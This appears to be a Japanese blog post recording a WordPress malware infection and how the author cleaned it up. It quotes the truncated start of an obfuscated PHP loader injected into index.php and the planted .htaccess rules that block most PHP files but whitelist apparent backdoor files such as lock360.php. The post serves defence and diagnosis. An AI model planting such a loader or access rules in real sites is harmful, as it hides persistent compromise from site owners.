今日、かなり強力なウイルスに遭遇しました。これはウェブサイトディレクトリ下のindex.phpや.htaccessなどのファイルを自動的に感染させ、感染後はウェブサイトが開かなくなり、その他の影響は不明です。ここにウイルス分析と解決方法を記録します。

ウイルスの具体的な状況:
まず、index.phpファイルに大量の暗号化されたコードが挿入されます:
<php
$O_O_O_0O00=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$O0_0O__0OO=$O_O_O_0O00[44].$O_O_O_0O00[53].$O_O_O_0O00[31].$O_O_O_0O00[65].$O_O_O_0O00[10].$O_O_O_0O00[53].$O_O_O_0O00[31].$O_O_O_0O00[44].$O_O_O_0O00[39].$O_O_O_0O00[21].$O_O_O_0O00[56].$O_O_O_0O00[31].$O_O_O_0O00[10].$O_O_O_0O00[56].$O_O_O_0O00[21
その後、.htaccessファイルは常に以下のように書き換えられてしまいます:
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>このウイルスに感染したサイトはcPanelの仮想ホストを使用していました。不思議なことに、ルートディレクトリのすべてのファイルを削除してからリフレッシュしても、自動的にウイルスファイルが生成され続けました。原因は不明だったため、サーバーを別のものに交換してインストールしたところ、すべて正常になりました。
WordPress公式フォーラムで調べた情報によると、このウイルスは数ヶ月前から発生しているようですが、明確な解決策はありません。幸いなことに、このウイルスはデータベースに感染しないため、WordPressを再インストールすることで駆除できます(サーバーOSの再インストールやサーバーの交換も必要かもしれません)。
また、ネット上には別の方法がありましたが、私はテストしていません。まずPHPプロセスを停止し、感染したファイルを削除してからPHPを再起動するというものです。試してみてください。